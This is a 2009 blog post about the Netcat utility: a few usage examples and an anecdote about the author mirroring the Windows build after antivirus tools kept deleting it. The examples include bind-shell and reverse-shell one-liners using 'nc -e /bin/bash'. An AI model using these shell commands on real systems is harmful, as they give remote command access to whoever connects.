Netcat for Windows
April 10, 2009 19:52
Netcat is a simple networking utility which reads and writes data across network connections using the TCP/IP protocol. It's a wonderful tool for debugging all kinds of network problems. It allows you to read and write data over a network socket just as simply as you can read data from stdin or write to stdout. I have put together a few examples of what this can be used to accomplish.
Establishing a connection and getting some data over HTTP:
# nc example.com 80
GET / HTTP/1.0
<HTML>
<!-- site's code here -->
</HTML>
Creating a shell:
-
Remote machine:
nc -l 1234 -e /bin/bash -
Local machine:
nc remote_machine 1234
Creating a reverse shell:
-
Local machine:
nc -l 1234 -
Remote machine:
nc -e /bin/bash local_machine 1234
That's all great, but there's really no point of writing another tutorial about netcat. There are several good ones already floating around. This post is actually a story about how this site became what seems to be the most popular source for the windows version of netcat.
For a long time now, I've had a flash drive that I carry around with me that has all sorts of useful utilities on it. Among these is the windows version of netcat. Unfortunately, several years ago, antivirus vendors decided it would be cool to start flagging netcat as a hack tool and automatically delete it from my flash drive upon insertion. This is easy enough to fix on my own computer by white listing netcat, but anytime I would work on another person's computer, the file would still be deleted.
This got to be somewhat annoying, especially as the windows version of netcat became more and more difficult to find. The most recent deletion took several minutes of digging through Google results and broken links in blogs before eventually finding a link that worked. I decided that I didn't want to go through that again, so I threw the file up in my document root and let the blogger whose link actually worked know that I had created a mirror of the file.
A few weeks later, I was digging through my Apache logs and noticed that I had an unusually large amount of traffic (I'm sure you are shocked to learn that the traffic from this blog isn't maxing my bandwidth). As I began to look at things more closely, I discovered that I was getting hundreds of hits per day to netcat. The referrer pointed me back to the netcat page on wikipedia. At some point, some wikipedian linked back to the file on my server, and it has been happily serving it ever since. It's a good thing netcat is nice and small.
Download Netcat for Windows
EDIT: Rodney Beede has compile a version without the -e option enabled. This should remove most of the antivirus blocking issues if you don't need that feature. More information, including a download, can be found here.
Comments blog comments powered by Disqus
